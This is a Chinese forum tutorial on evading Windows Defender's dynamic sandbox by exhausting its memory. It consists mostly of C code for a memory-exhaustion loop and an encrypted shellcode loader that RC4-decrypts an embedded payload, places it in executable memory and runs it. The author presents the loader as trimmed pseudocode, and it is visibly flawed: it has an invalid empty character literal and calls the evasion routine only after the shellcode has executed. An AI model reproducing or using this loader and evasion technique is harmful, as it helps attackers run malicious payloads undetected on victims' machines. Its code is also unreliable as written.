利用资源消耗过DF动态检测

camer   ·   发表于 2023-05-05 16:21:47   ·   技术文章

0x01 前提

这种方法的使用是要你能够过静态检测,这很容易,只需要加密混淆即可。想要过windows defender就需要绕过这种动态杀箱检测,最简单朴素的办法就是去消耗它资源,因为windows defender去创建模拟的杀箱环境的时候,不可能让用户去等待很久,他的资源是有限的,不可能让用户等待很久,没有办法去做到整个内存的查查杀,也就说动态分析的资源是有限的。

0x02 实现

1、首先是创在一个耗资源的函数体

使用C语言编写的消耗资源的函数体,它会在循环中不断地分配内存并写入数据,直到内存耗尽为止:

  1. #include <stdlib.h>
  2. void consume_resources() {
  3. while (1) {
  4. // 分配1GB的内存
  5. void* mem = malloc(1024 * 1024 * 1024);
  6. // 如果分配失败,则退出循环
  7. if (!mem) {
  8. break;
  9. }
  10. // 填充内存
  11. for (int i = 0; i < 1024 * 1024 * 1024; i++) {
  12. *((char*)mem + i) = (char)i;
  13. }
  14. }
  15. }

该函数会在循环中不断地分配1GB的内存,并将其填充为递增的字节值,直到无法分配更多内存为止。

2、使用简单的分离shellcode加载器执行(下面是伪代码,删减过可能存在问题,原始代码我就不放了)

  1. #include <string.h>
  2. #include <windows.h>
  3. unsigned char Buf[] = "\x6d\xdc\xe0\x20\x34\x3b\xbc\x46....";
  4. // RC4-DEMO
  5. void RC4(unsigned char* Data, unsigned long Length, unsigned char* Key, unsigned long KeyLength)
  6. {
  7. ......
  8. }
  9. // 资源消耗函数
  10. void consume_resources() {
  11. while (1) {
  12. // 分配1GB的内存
  13. void* mem = malloc(1024 * 1024 * 1024);
  14. // 如果分配失败,则退出循环
  15. if (!mem) {
  16. break;
  17. }
  18. // 填充内存
  19. for (int i = 0; i < 1024 * 1024 * 1024; i++) {
  20. *((char*)mem + i) = (char)i;
  21. }
  22. }
  23. }
  24. int main(int argc, char* argv[])
  25. {
  26. unsigned char Key[256];
  27. wchar_t fileName[MAX_PATH];
  28. MultiByteToWideChar(CP_UTF8, 0, argv[1], -1, fileName, MAX_PATH);
  29. if (fileName[0] == L'')
  30. {
  31. return 1;
  32. }
  33. // 打开文件
  34. HANDLE hFile = CreateFileW(fileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  35. if (hFile == INVALID_HANDLE_VALUE)
  36. {
  37. return 1;
  38. }
  39. // 读取文件内容
  40. DWORD bytesRead;
  41. if (!ReadFile(hFile, Key, sizeof(Key), &bytesRead, NULL) || bytesRead != sizeof(Key))
  42. {
  43. CloseHandle(hFile);
  44. return 1;
  45. }
  46. CloseHandle(hFile);
  47. unsigned long buf_len = sizeof(Buf);
  48. unsigned long key_len = sizeof(Key);
  49. RC4(Buf, buf_len, Key, key_len);
  50. LPVOID executableMemory = VirtualAlloc(NULL, buf_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  51. memcpy(executableMemory, Buf, buf_len);
  52. // 3. 执行ShellCode
  53. ((void(*)())executableMemory)();
  54. // 资源消耗
  55. consume_resources();
  56. // 4. 释放内存空间
  57. VirtualFree(executableMemory, buf_len, MEM_RELEASE);
  58. return 0;
  59. }


用户名金币积分时间理由
Track-子羽 40.00 0 2023-05-09 18:06:12 一个受益终生的帖子~~

打赏我,让我更有动力~

0 条回复   |  直到 11个月前 | 296 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.